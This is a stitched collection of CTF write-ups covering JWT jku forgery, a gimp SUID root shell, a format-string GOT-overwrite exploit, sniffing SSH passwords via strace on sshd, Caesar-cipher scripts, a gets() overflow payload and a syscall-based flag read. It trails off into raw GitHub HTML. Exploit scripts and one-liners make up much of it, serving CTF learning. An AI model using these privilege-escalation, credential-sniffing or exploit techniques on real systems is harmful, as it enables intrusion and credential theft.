``` $ cat jwks.json { "keys": [ { "e": "AQAB", "kid": "sqcE1a9gj9p08zNMR1MWbLLvuaPyUeJEsClBhy7Q4Jc", "kty": "RSA", "n": "wed4pVV95ZD+G5s+Ahlmb96zURRK70efNvduoOPIaaFmmPRBgSLSNCEF//VntFI2l72t8IOXQQ7sS/0JbnpzjHJ4Duo6KPyE9U/Ros1z6m46w/Ncw0xMcKkLTJjswxH3Ql4kIaueN988gppGbheEvWCazbQfgR8UD54zoGd6aqO71ni3Mp81ypoU1zjq7r4OfdX4iCv/ICxC4H9RFIFDX/4AnFa6CNmOCOhP2fKarFV3iWYEPtqOsoJx2tu6YP7ecv70DVfVzR9Zd4JbQuLkNtbo+ccCFTYQp2FYFkKveh+3LbfnWY2cIQdqPGG6i57B3qQkYF2FvvEzZaIFXjbiAQ==" } ] } ```* Now we need to modify the __jku__ value of the jwt-header to point to our server where we hosted the `jwks.json` file, and modify the payload data to become `admin`. After we can sign the cookie with our hosted RSA key-pair and to do that I used the https://jwt.io service:

* Send the request to the challenge web application and get the __flag__

### reference:* https://github.com/ticarpi/jwt_tool/wiki/Known-Exploits-and-Attacks* https://tools.ietf.org/id/draft-ietf-jose-json-web-signature-01.html#rfc.section.4* https://book.hacktricks.xyz/pentesting-web/hacking-jwt-json-web-tokens* https://jwt.io/ |
# Glimpse (125pts) 161 solves #

We are given some ssh credentials here too , judging from the name of the task i supposed that it might be something unusual with gimp binary so after digging i realised that gimp-2.8 was a suid binary ! BINGO :D

so running the following command we can get a shell from gimp and cat our beloved flag (gtfobins FTW ) :D
```shgimp-2.8 -idf --batch-interpreter=python-fu-eval -b 'import os; os.execl("/bin/sh", "sh", "-p")'```

**Flag:** flag{just_need_a_glimpse_of_the_flag_please}
If you have any questions you can contact me on twitter @BelkahlaAhmed1 or contact our team twitter @FwordTeam ! Make sure to visit my personal blog for more useful content :D |
# NahamCon CTF 2020
## Leet Haxor
> 200>> 4r3 y0u 4s l33t 4s y0u s4y y0u 4r3??? >> Connect here:> `nc jh2i.com 50022`>> [`leet_haxor`](leet_haxor)
Tags: _pwn_ _x86-64_ _format-string_ _remote-shell_
## Summary
Format string exploit challenge with some constraints, infinite free rides, and a guess.
## Analysis
### Checksec
``` Arch: amd64-64-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: No PIE (0x400000)```
No PIE/Partial RELRO; easy ROP, easy GOT.
### Decompile with Ghidra
```c puts("Mode [0]:l33tify | [1]:unl33tify | [?]:exit"); __isoc99_scanf(&DAT_00400c54,&local_7e); while ((local_7e == '0' || (local_7e == '1'))) { getchar(); puts("Insert text (Max. 100 chrs):"); fgets(local_78,100,stdin); if (local_7e == '0') { l33tify(local_78); } else { unl33tify(local_78); } puts("Mode [0]:l33tify | [1]:unl33tify | [?]:exit"); __isoc99_scanf(&DAT_00400c54,&local_7e); }```
`main` loops, prompting `Mode [0]:l33tify | [1]:unl33tify | [?]:exit`, then after selecting `0` or `1`, prompts for up to 100 characters, then calls `l33tify` or `unl33tify` based on whether `0` or `1` was selected. Nothing to see here.

The `printf` at line 49 is the _first_ venerability. However the code above will mangle any format-string exploit if there's a matching character.

The `printf` at line 40 is the _second_ venerability. And like `l33tify` above, there is code that will mess with your exploit string.
Fortunately, it's really not that bad.
Using `%p` to leak libc will not be impacted by `l33tify`. Like `p`, other format-string attack characters such as `h`, `n`, and `c` have also been spared.
> Normally, I'd use the libc leaks to find the version of libc the remote server is using, but instead I opted to guess. Using strings on the challenge binary, `GCC: (Ubuntu 7.5.0-3ubuntu1~18.04) 7.5.0` was betrayed. I took a guess and was right.
Setting a breakpoint just before `printf` in `l33tify` and looking at the stack we find a libc leak, way down at parameter 33:
```0x00007fffffffe470│+0x0000: 0x00007fffffffe620 → 0x0000000000000001 ← $rsp0x00007fffffffe478│+0x0008: 0x00007fffffffe4d0 → 0x0000000a34343434 ("4444\n"?)0x00007fffffffe480│+0x0010: 0x00000000000000000x00007fffffffe488│+0x0018: 0x00000006f7a62bcd0x00007fffffffe490│+0x0020: 0x00000000000000000x00007fffffffe498│+0x0028: 0x00000000000000000x00007fffffffe4a0│+0x0030: 0x00007fffffffe540 → 0x0000000000400a90 → <__libc_csu_init+0> push r15 ← $rbp0x00007fffffffe4a8│+0x0038: 0x0000000000400a2a → <main+149> jmp 0x400a38 <main+163>0x00007fffffffe4b0│+0x0040: 0x00007fffffffe628 → 0x00007fffffffe824 → "/pwd/datajerk0x00007fffffffe4b8│+0x0048: 0x00000001f7ffe7100x00007fffffffe4c0│+0x0050: 0x00000000000000000x00007fffffffe4c8│+0x0058: 0x000a21713a3000000x00007fffffffe4d0│+0x0060: 0x0000000a34343434 ("4444\n"? ← $rdx, $rsi, $rdi0x00007fffffffe4d8│+0x0068: 0x00000000756e6547 ("Genu"?)0x00007fffffffe4e0│+0x0070: 0x00000000000000090x00007fffffffe4e8│+0x0078: 0x00007ffff7dd7660 → <dl_main+0> push rbp0x00007fffffffe4f0│+0x0080: 0x00007fffffffe558 → 0x00007fffffffe628 → 0x00007fffffffe824 0x00007fffffffe4f8│+0x0088: 0x0000000000f0b5ff0x00007fffffffe500│+0x0090: 0x00000000000000010x00007fffffffe508│+0x0098: 0x0000000000400add → <__libc_csu_init+77> add rbx, 0x10x00007fffffffe510│+0x00a0: 0x00007ffff7de59a0 → <_dl_fini+0> push rbp0x00007fffffffe518│+0x00a8: 0x00000000000000000x00007fffffffe520│+0x00b0: 0x0000000000400a90 → <__libc_csu_init+0> push r150x00007fffffffe528│+0x00b8: 0x0000000000400640 → <_start+0> xor ebp, ebp0x00007fffffffe530│+0x00c0: 0x00007fffffffe620 → 0x00000000000000010x00007fffffffe538│+0x00c8: 0x7e99182cebfbc4000x00007fffffffe540│+0x00d0: 0x0000000000400a90 → <__libc_csu_init+0> push r150x00007fffffffe548│+0x00d8: 0x00007ffff7a05b97 → <__libc_start_main+231> mov edi, eax```
> The 6th parameter starts at `$rsp`, then count down (parameters 1-5 are in registers). Or just test until you get a match. You do have infinite retries.
We also need to know what parameter our format string is located at, again starting from the top and counting down you'll notice `4444` at parameter 18. That `4444` was actually entered as `AAAA`, but it got _l33tified_ (lamified).
And that is all the information we need.
## Exploit
### Attack Plan
1. First Pass: Leak libc address2. Second Pass: GOT `printf` -> `system`3. Final Pass: Get a shell, get the flag
### Setup
```python#!/usr/bin/python3
from pwn import *
#p = process('./leet_haxor')p = remote('jh2i.com', 50022)
binary = ELF('leet_haxor')libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')context.update(arch='amd64')offset = 18```
_Guessing_ Ubuntu 18.04, I just used an 18.04 container with the native libc.
The `offset` of `18` was determined above in the _Analysis_ section. This will be required by the pwntools `fmtstr_payload` function.
### First Pass: Leak libc address
```pythonp.recvuntil('Mode [0]:l33tify | [1]:unl33tify | [?]:exit')p.sendline('0')p.recvuntil('Insert text (Max. 100 chrs):')p.sendline('%33$p')p.recvline()
__libc_start_main = int(p.recvline().strip(),16) - 231print('__libc_start_main',hex(__libc_start_main))baselibc = __libc_start_main - libc.symbols['__libc_start_main']print('baselibc',hex(baselibc))libc.address = baselibc```
The 33rd parameter to `printf` will leak a libc address (`__libc_start_main+231`) from the stack:
```0x00007fffffffe548│+0x00d8: 0x00007ffff7a05b97 → <__libc_start_main+231> mov edi, eax```
After that, it's easy to compute the libc base address.
### Second Pass: GOT `printf` -> `system`
```pythonp.recvuntil('Mode [0]:l33tify | [1]:unl33tify | [?]:exit')p.sendline('0')p.recvuntil('Insert text (Max. 100 chrs):')
payload = fmtstr_payload(offset,{binary.got['printf']:libc.symbols['system']})
badchars = b'AaBbEeGgIiOoSsTtZz\r\n'if any(x in payload for x in badchars): print("badchar in payload! exiting!\n") sys.exit(1)
p.sendline(payload)```
pwntools provides very nice format-string functions; calling `fmtstr_payload` with our `offset`, and the addresses to GOT `printf` and libc `system` is all we need, however there's the possibility, due to ASLR, that one of the address could have a "badchar"; to avoid failure, check first.
> I probably should have labeled `badchars` as `l33tchars` for readability. The `\r\n` are for `fgets`.
### Final Pass: Get a shell, get the flag
```pythonp.recvuntil('Mode [0]:l33tify | [1]:unl33tify | [?]:exit')p.sendline('1')p.recvuntil('Insert text (Max. 100 chrs):')p.sendline("/bin/sh")```
Now that `printf` is `system`, just send `/bin/sh`, however this time use `unl33tify` to avoid having the string mangled.
Output:
```bash# ./exploit.py[+] Opening connection to jh2i.com on port 50022: Done[*] '/pwd/datajerk/nahamconctf2020/leet_haxor/leet_haxor' Arch: amd64-64-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: No PIE (0x400000)[*] '/lib/x86_64-linux-gnu/libc.so.6' Arch: amd64-64-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled__libc_start_main 0x7f0c3bdddab0baselibc 0x7f0c3bdbc000[*] Switching to interactive mode
$ lsbin bin.c flag.txt$ cat flag.txtflag{w0w_y0u_4r3_4_l33t_h@x0r}``` |
# SSH Logger (175pts) 75 solves #

We are given some ssh credentials , our goal is to find the password of the user that is connecting to the box. Running pspy64 we can notice the flag user that is connecting.

Firstly i tried to examine the ssh settings and logs but i didn't find anything useful then after a lot of search i found this useful article [HERE](https://mthbernardes.github.io/persistence/2018/01/10/stealing-ssh-credentials.html)
So if we attach the sshd process to strace we can literally trace everything that is happening , running this command will pop the flag for us :
```shstrace -f -p $(pgrep -f "/usr/sbin/sshd") -s 128 2>&1|grep flag{```
**Flag:** flag{okay_so_that_was_cool} If you have any questions you can contact me on twitter @BelkahlaAhmed1 or contact our team twitter @FwordTeam ! Make sure to visit my personal blog for more useful content :D |
I see a lot of high quality content from the people that put on Nahamcon so I was excited to participate in the CTF. I didn't get as much time to spend on it as I hoped, but I did get a chance to do the scripting challenge "Rotten".
I found a good write up for this challenge which is basically the same approach but with pwntools: https://github.com/csivitu/CTF-Write-ups/tree/master/NahamCon%20CTF/Scripting/Rotten
The code for this walkthrough is here: https://github.com/csuttles/nahamcon
You can find the [original version of this walktrhough on my blog](https://blog.csuttles.io/post/nahamcon-ctf-rotten/).
## Where to start
I connected to the host and port defined in the challenge via netcat, and see:
```bashctlfish@kali ~ $ nc jh2i.com 50034send back this line exactly. no flag here, just filler.```
I tried this a couple times and start to see what looks like rot13. I fired up burp and dump the string in decoder, but no luck. Since burp only supports rot13 by default, I thought it would be a good idea to try shifting by other increments as well. In a short matter of time, I have an iPython going and I get a socket and start pulling the replies and brute forcing the cipher to get the next step. I got a few characters of the flag after successfully brute forcing and seeing output like this:
```python'10 - 'send back this line exactly. character 23 of the flag is 'c'```
## How do we reach our goal
Now I have a picture of how this works. We connect and read data. That data might be encoded via a [Caesar Cipher](https://en.wikipedia.org/wiki/Caesar_cipher). If it is, we need to decode it and read a random character and position of the flag. We also might receive a plaintext string. Once we have plaintext (whether we decoded to get it or not) we need to send that back to get out next chunk of data. Once we repeat this process long enough, we eventually decode every character and position pair of the flag, and we submit it to claim our points.
## Automating it
### Socket to me
The first bit is to get a connection. I got everything wired up with the socket module, and stuffed some of that into a little helper function:
```pythondef newclient(host, port): client = socket.socket(socket.AF_INET, socket.SOCK_STREAM) client.connect((socket.gethostbyname(host),port)) return client
def recvall(sock): BUFF_SIZE = 4096 # 4 KiB data = b'' while True: part = sock.recv(BUFF_SIZE) data += part if len(part) < BUFF_SIZE: # either 0 or end of data break return data```
Early on, I thought I might need to bounce around to different ports or something so I wanted to wrap the creation of the client. I also added a little helper function to make sure I read all the data intended (recvall). This is because if you try to `client.recv()` more data that the buffer of your TCP stack can hold, you will get only a chunk the size of your buffer, so we loop around to make sure we get all the data, but don't accidentally `client.recv()` too many times, because if we get it wrong, the default behavior is to wait for the read and we can easily end up accidentally deadlocked with the other side of the TCP connection. Also writing that loop all the time is clunky and not DRY so there ya go.
### Good devs borrow, great devs steal
I knew that I needed to break Caesar cipher, and I also don't believe that is a wheel _I_ need to reinvent, so I straight up ripped this off from a `site:github` google dork:
```pythondef decrypt(n, ciphertext): """Decrypt the string and return the plaintext""" result = ''
for l in ciphertext: try: if l.isupper(): index = LETTERS.index(l) i = (index - n) % 26 result += LETTERS[i] else: index = letters.index(l) i = (index - n) % 26 result += letters[i]
except ValueError: result += l
return result```
I edited a couple things to make it Python3 compliant and also avoid using some reserved words. I'm somehow unable to find my source now. Since I am not sure where I got this, I'll just say "thanks internet!"
### Brains
The meat of what makes this all go is the combination of flow control in main and the vars set via return values from parseresp. This is what makes all the important decisions about what to send and builds the flag. The whole thing is something like this pseudo code: ```python# mainclient = connectwhile true: resp = client.recv() for l in a-z: dec = decode(l, resp) req = parse_response(resp) if req = good: flag = update_flag(dec) client.send(req)```
## Baking a cake
So here is how we put all these ingredients together and bake the cake. I use a couple magic methods in iPython for development during CTFs:
* The first thing I do is `%load_ext autoreload`* Next, `%autoreload 1` - this sets the extension to automatically reload any module loaded with `%aimport`* Now, import our module for the CTF so it is reloaded as we edit via `%aiport rotten`
Now when I edit the file I keep in git, iPython sees the file is updated, and automatically reloads my changes, so I can test with a simple `rotten.main()`
Here's what that looks like, and we can see the flag magically get assembled before our eyes; click through for asciimation, or view the [original walktrhough on my blog](https://blog.csuttles.io/post/nahamcon-ctf-rotten/):
[](https://asciinema.org/a/HGlcctJmWOEBBFDtM4ALiUi4N)
## Thanks!
Thank you for a fun challenge and for all you do for the infosec community! You don't know me, but I've learned a lot from you!
[@_JohnHammond](https://twitter.com/_johnhammond)[@NahamSec](https://twitter.com/NahamSec)[@STOKFredrik](https://twitter.com/stokfredrik)[@TheCyberMentor](https://twitter.com/thecybermentor)
Thanks If you read this far, I hope you enjoyed it, and I hope it is useful to you. :) |
# Rotten
Author: [roerohan](https://github.com/roerohan)
This is a scripting challenge based on the Caesar's Cipher. Upon connecting to the server using `netcat`, the server spits out a string, which may or may not contain a character of the flag in it. You have to decrypt the same string, and send it back to the server. This is repeated until the entire flag is obtained.
# Requirements
- Basic Knowledge of Caesar's Cipher- Python 3
# Exploitation
```bash$ nc jh2i.com 50034 send back this line exactly. no flag here, just filler.```
When you `netcat` onto the server, it says `send back this line exactly. no flag here, just filler.`, which is basically exactly what you have to do.
> Note: The 2nd, 4th, etc. lines are the replies sent to the server.
```bash$ nc jh2i.com 50034 send back this line exactly. no flag here, just filler.send back this line exactly. no flag here, just filler.zluk ihjr aopz spul lehjasf. uv mshn olyl, qbza mpssly.send back this line exactly. no flag here, just filler.```
As you see, the second time, the server sends a message encrypted using Caesar's cipher. In this cipher, every character in the message is shifted by an offset. So, if the offset is 2, 'a' becomes 'c', 'b' becomes 'd', and so on...
Everytime the server sends an encrypted message, you have to find out the decrypted message and send it back to the server. Normally, you might have to bruteforce the offset for the cipher. But, after 3-4 messages, you see that the first part of the message, i.e, `send back this line exactly.`, is always the same. This can be used to calculate the offset.
Here's an example of the other type reply the server might.
```vhqg edfn wklv olqh hadfwob. fkdudfwhu 10 ri wkh iodj lv 'r'send back this line exactly. character 10 of the flag is 'o'```
Since the first part is always the same, you can easily calculate the offset (count the number of letters between v and s).
Of course, there's a reason this is a 'scripting' challenge. The server will keep sending random characters from the flag, in this fashion. So, it is not a good idea to manually map the characters in all positions. Time to fire up python and write a script.
```pythonflag = {}
def flagify(flag): f = [None]*40 for i in flag: f[i] = flag[i] f = [i for i in f if i != None] return ''.join(f)
def reply(recv): global flag m = 'send back this line exactly. no flag here, just filler.' l = len(m)
if len(recv)==l: return m else: diff = ord(recv[0])-ord('s') if (diff < 0): diff +=26 c = '' x = -1 for i in recv: if i == ' ' or i == '\'' or i == '.' or i == '{' or i == '}' or i =='_': c += i elif i.isnumeric(): c += i if x == -1: x = int(i) else: x = x*10 + int(i) elif ord(i) - diff < ord('a'): c += chr(ord(i) - diff + 26) else: c += chr(ord(i) - diff)
if x != -1: flag[x] = c[-2] return c
from pwn import remote
r = remote('jh2i.com', 50034)
while True: rec = r.recv() if rec: rec = str(rec)[2:-3] print(rec) t = reply(rec) r.send(t) print(t) print(flagify(flag))```
> Note: This is not the most efficient, well-written code, because it doesn't need to be.
We're using the `pwntools` library for the remote `netcat` connection. The idea is to extract out the character from the message and store it in a dictionary along with it's index, in the format:
```python{ 'index': 'character',}```
The flagify function takes this flag dictionary and returns a string, after mapping every character to the correct index.
The reply function is actually decoding the cipher. If the length of the message is the same as `send back this line exactly. no flag here, just filler.`, it just returns that string. If not, it calculates the offset from the first character of the server message. Then it uses that offset to decrypt every other character. During the decryption, it stores the index and the corresponding character in the dictionary.
The last part of the program is just for connecting to `netcat`, and sending and receiving messages.
As you run the script, you'll see a 31 character string form on your terminal over 45-60 seconds (varies based on how lucky you are). That is the final flag. Here's a sample:
```$ python flag.py[+] Opening connection to jh2i.com on port 50034: Donesend back this line exactly. no flag here, just filler.send back this line exactly. no flag here, just filler.
xjsi gfhp ymnx qnsj jcfhyqd. hmfwfhyjw 29 tk ymj kqfl nx 'x'send back this line exactly. character 29 of the flag is 's'skwfv tsuc lzak dafw wpsuldq. uzsjsulwj 14 gx lzw xdsy ak 'f'send back this line exactly. character 14 of the flag is 'n'nsfraq onpx guvf yvar rknpgyl. punenpgre 1 bs gur synt vf 'y'send back this line exactly. character 1 of the flag is 'l'lns...kwfv tsuc lzak dafw wpsuldq. fg xdsy zwjw, bmkl xaddwj.send back this line exactly. no flag here, just filler.flag{now_you_know_your_caesars}bnwm kjlt cqrb urwn ngjlcuh. wx oujp qnan, sdbc oruuna.send back this line exactly. no flag here, just filler.flag{now_you_know_your_caesars}pbka yxzh qefp ifkb buxzqiv. zexoxzqbo 1 lc qeb cixd fp 'i'send back this line exactly. character 1 of the flag is 'l'flag{now_you_know_your_caesars}```
Once you obtain this string, you can stop execution. The flag is `flag{now_you_know_your_caesars}`.
P.S.: Here's some code that might be a little better:
```pythonflag = [None]*100def response(s): offset = ord(s[0]) - ord('s')
position = 0
res = '' for i in s: if not i.isalpha(): if i.isnumeric(): position = position*10 + int(i)
res += i continue res += chr((ord(i) - ord('a') - offset) % 26 + ord('a'))
if len(res) == 55: return res flag[position] = res[-2]
return res
from pwn import remote
r = remote('jh2i.com', 50034)
while True: received = r.recv() x = received.decode().strip()
print(x) y = response(x) r.send(y) print(y) print() f = ''.join([i for i in flag if i != None]) print(f) print()```
The flag is:
```flag{now_you_know_your_caesars}``` |
# Boredom
Author: [roerohan](https://github.com/roerohan)
This is a classic buffer overflow challenge. In a nutshell, the `return pointer` of the `main()` function needs to be overwritten with the address of the `flag()` function, which reads the flag from `flag.txt` and prints it to `stdout`.
# Requirements
- GDB ([GNU Debugger](https://www.gnu.org/software/gdb/))- Basic Knowledge of C Programming- Basic Knowledge of Assembly and Stacks in Memory
# Source
- The challenge was originally hosted [here](https://ctf.hsctf.com/challenges#Boredom).- The pre-compiled binary is present in the same directory. - The [C program](./boredom.c) is as follows:
```c#include <stdio.h>#include <stdlib.h>#include <unistd.h>#include <string.h>#include <sys/types.h>#include <signal.h>
void setup() { puts("I'm currently bored out of my mind. Give me something to do!"); setvbuf(stdin, NULL, _IONBF, NULL); setvbuf(stdout, NULL, _IONBF, NULL);}
void flag() { FILE *f = fopen("flag.txt", "r"); char buf[50]; if (f == NULL) { puts("You're running this locally or I can't access the flag file for some reason."); puts("If this occurs on the remote, ping @PMP#5728 on discord server."); exit(1); } fgets(buf, 50, f); printf("Hey, that's a neat idea. Here's a flag for your trouble: %s\n", buf); puts("Now go away."); exit(42);}
int main() { char toDo[200]; setup();
printf("Give me something to do: "); gets(toDo); puts("Ehhhhh, maybe later."); return 0;}```
# Exploitation
Looking at the C program, we see that the `flag()` function is the target function that needs to be executed to get the flag. In the `main()` function, a character array `toDo`, consisting of 200 elements is created. In [ASCII](http://www.asciitable.com/), a single character occupies 1 byte in memory, hence this `toDo` array will occupy 200 bytes.
The `setup()` function prints a constant string. The `gets()` function is used to take user input and store it in the `toDo` variable, and then another constant string is printed.
The vulnerability to be exploited here is the use of the `gets()` function in the program. The issue with this function is that it does not check the size of the user input. Hence, the user may write more bytes than the size allocated for the variable and overflow the stack space allocated for the function. The target is to write enough characters into `toDo` to write over the space allocated for the `main()` function and the space occupied by the base pointer stored just above it, with random characters. Next on the stack is the return pointer of the `main()` function, which has to be carefully overwritten using the address of the `flag()` function, in order to run it once the execution of the `main()` function is over.
Here is the dump of the assembler code for the `main()` function.
In the third line of the assembler code, `sub rsp,0xd0` is specified, which allocates `0xd0` or 208 bytes on the stack for the `main()` function. The `main()` function has only 1 local variable - `toDo`. Therefore, if we write 208 bytes into the `toDo` array, we reach the previous base pointer stored on the stack. This base pointer is `64 bits or 8 bytes` long, therefore, after writing 216 (208 + 8) random characters, we can now overwrite the return pointer.
The assembler code for the `flag()` function is as follows:
Therefore, we know that the starting address of the `flag()` function is `0x00000000004011d5`. So, after writing 216 bytes on the stack, we need to write this address, using [little endian format](https://en.wikipedia.org/wiki/Endianness). Thus, all the bytes in the address need to be typed in reverse, making it `\xd5\x11\x40\x00\x00\x00\x00\x00`. The final payload can be generated using `python 2`, as shown below:
```bashpython2 -c "print 'a'*216 + '\xd5\x11\x40\x00\x00\x00\x00\x00'" | ./boredom```
Upon executing this locally, we get the following output on `stdout`.
The same output when piped to the CTF server gives the flag.
> Note: The CTF server is not live anymore.
```bashpython2 -c "print 'a'*216 + '\xd5\x11\x40\x00\x00\x00\x00\x00'" | nc pwn.hsctf.com 5002``` |
# NahamCon CTF 2020
## SaaS
> 100>> You've heard of software as a service, but have you heard of syscall as a service?>> Connect here:> `nc jh2i.com 50016`>> [`saas`](saas)
Tags: _pwn_ _x86-64_ _syscall_
## Summary
A syscall trainer with a blacklist.
> If I were a 12-year-old, on pandemic lockdown, I'd be playing with this _all... day... long..._> > Yes, one could do all of this in C or assembly (better), but for casual learning, this is pretty neat.
## Analysis
### Checksec
``` Arch: amd64-64-little RELRO: Full RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled```
All mitigations in place.
### Decompile with Ghidra
> After a quick scan of the decompiled code I could not find any obvious vulnerability. The intent of this challenge is to obtain the flag by sending syscalls (if there are unintended solutions, great!; I look forward to the write-ups).
The constraints for this challenge are located in the function `blacklist`:
```c local_48[0] = 59; local_48[1] = 57; local_48[2] = 56; local_48[3] = 62; local_48[4] = 101; local_48[5] = 200; local_48[6] = 322;```
First on the blacklist is fan favorite `execve`--no easy shell for you.
### Take it for a test run
```Welcome to syscall-as-a-service!
Enter rax (decimal): 12Enter rdi (decimal): 4096Enter rsi (decimal): 0Enter rdx (decimal): 0Enter r10 (decimal): 0Enter r9 (decimal): 0Enter r8 (decimal): 0Rax: 0x55b7ef168000
Enter rax (decimal):```
Cool! Got heap.
```Sorry too slow try scripting your solution.```
Not so cool. Kinda lame actually, _how's a kid to learn?_
Let's patch out that pesky alarm:
```#!/usr/bin/python3
from pwn import *
binary = ELF('saas')binary.asm(binary.symbols['alarm'], 'ret')binary.save('saas_noalarm')os.chmod('saas_noalarm',0o755)```
Right, now, just take your time with your favorite [syscall reference](https://blog.rchapman.org/posts/Linux_System_Call_Table_for_x86_64/) and craft a solve. Oh, and make liberal use of `man`.
## Solve
### Setup
```python#!/usr/bin/python3
from pwn import *
def syscall(p,rax=0,rdi=0,rsi=0,rdx=0,r10=0,r9=0,r8=0,stdin=''): p.sendlineafter('Enter rax (decimal):', str(rax)) p.sendlineafter('Enter rdi (decimal):', str(rdi)) p.sendlineafter('Enter rsi (decimal):', str(rsi)) p.sendlineafter('Enter rdx (decimal):', str(rdx)) p.sendlineafter('Enter r10 (decimal):', str(r10)) p.sendlineafter('Enter r9 (decimal):' , str(r9)) p.sendlineafter('Enter r8 (decimal):' , str(r8))
if len(stdin) > 0: print('stdin',stdin) p.sendline(stdin)
stdout = p.recvuntil('Rax: ') if len(stdout.split(b'Rax: ')[0][1:]) > 1: print('stdout',stdout.split(b'Rax: ')[0][1:])
return int(p.recvline().strip(),16)
#p = process('./saas_noalarm')p = remote('jh2i.com', 50016)```
This `syscall` function just frontends the challenge and adds support for stdin/stdout. Returned is RAX (the return of the _real_ syscall).
From here you are only limited by your imagination.
### Find the heap (brk)
```python# brkheap = syscall(p,12,0x0)print('heap',hex(heap))```
Using the heap as a scratchpad.
> I'm not going to detail how each syscall works, please read the relevant syscall man page.
### Allocate some RAM for a filename
```python# mmapfilename = syscall(p,9,heap,0x1000,7,50,0,0)print('filename',hex(filename))```
Using the `heap` pointer returned from `brk`, use `mmap` to request a page of RAM.
### From stdin read in the name of the flag file
```# readflagfile = b'./flag.txt\x00'length = syscall(p,0,0,filename,len(flagfile),stdin=flagfile)print('length',hex(length))assert(length == len(flagfile))```
CTFs are usually pretty consistent, since the other challenges had the flag located in the same directory as the working directory of the running binary, I just assumed `./flag.txt`.
The `syscall` Python function above will send the name of the flag file after invoking the `read` system call and will store the input at the address `filename` returned from `mmap` above.
The `assert` just checks that `read` really did _read_ in all the bytes.
### Open the file
```# openfd = syscall(p,2,filename)print('fd',hex(fd))```
`open` the file reference by `filename` (from `mmap` and populated with `read`) and return a file descriptor.
### Allocate a buffer for the file contents
```# mmapbuf = syscall(p,9,heap+0x1000,0x1000,7,50,0,0)print('buf',hex(buf))```
Just like the previous `mmap`, but with an offset added to the `heap` address. Now imagine if you get this wrong all the heap bugs one can create. :-)
> Ok, this is probably wasteful. I already have 4096 bytes from the last `mmap`, and the known number of bytes used (the `length` returned from `read`). I could have just used an offset and pretended this was a struct.
### Read the flag
```# readbytesread = syscall(p,0,fd,buf,100)print('bytesread',hex(bytesread))```
This `read` is not unlike the previous read, however instead of using `stdin` (`0`), we'll read from the file descriptor `fd` returned from `open` and store in the newly allocated `buf`.
### Write to stdout
```# writebytessent = syscall(p,1,1,buf,bytesread)print('bytessent',hex(bytessent))assert(bytessent == bytesread)```
Finally, `write` `buf` to `stdout`.
Output:
```# ./solve.py[+] Opening connection to jh2i.com on port 50016: Doneheap 0x560b54839000filename 0x560b54839000stdin b'./flag.txt\x00'length 0xbfd 0x6buf 0x560b5483a000bytesread 0x1fstdout b'flag{rax_rdi_rsi_radical_dude}\n'bytessent 0x1f```
> Missing is any error checking, i.e. `-1` (`0xffffffffffffffff`) on fail.
|
<html lang="en" data-color-mode="auto" data-light-theme="light" data-dark-theme="dark" data-a11y-animated-images="system"> <head> <meta charset="utf-8"> <link rel="dns-prefetch" href="https://github.githubassets.com"> <link rel="dns-prefetch" href="https://avatars.githubusercontent.com"> <link rel="dns-prefetch" href="https://github-cloud.s3.amazonaws.com"> <link rel="dns-prefetch" href="https://user-images.githubusercontent.com/"> <link rel="preconnect" href="https://github.githubassets.com" crossorigin> <link rel="preconnect" href="https://avatars.githubusercontent.com">
<link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/light-fe3f886b577a.css" /><link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/dark-a1dbeda2886c.css" /><link data-color-theme="dark_dimmed" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/dark_dimmed-1ad5cf51dfeb.css" /><link data-color-theme="dark_high_contrast" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/dark_high_contrast-11d3505dc06a.css" /><link data-color-theme="dark_colorblind" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/dark_colorblind-8b800495504f.css" /><link data-color-theme="light_colorblind" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/light_colorblind-daa38c88b795.css" /><link data-color-theme="light_high_contrast" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/light_high_contrast-1b9ea565820a.css" /><link data-color-theme="light_tritanopia" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/light_tritanopia-e4be9332dd6c.css" /><link data-color-theme="dark_tritanopia" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/dark_tritanopia-0dcf95848dd5.css" /> <link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/primer-c581c4e461bb.css" /> <link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/global-0e278d45156f.css" /> <link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/github-dcaf0f44dbb1.css" /> <link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/code-26709f54a08d.css" />
<script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/wp-runtime-774bfe5ae983.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_stacktrace-parser_dist_stack-trace-parser_esm_js-node_modules_github_bro-327bbf-0aaeb22dd2a5.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/ui_packages_soft-nav_soft-nav_ts-21fc7a4a0e8f.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/environment-e059fd03252f.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_selector-observer_dist_index_esm_js-2646a2c533e3.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_delegated-events_dist_index_js-node_modules_github_details-dialog-elemen-63debe-c04540d458d4.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_relative-time-element_dist_index_js-b9368a9cb79e.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_fzy_js_index_js-node_modules_github_markdown-toolbar-element_dist_index_js-e3de700a4c9d.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" 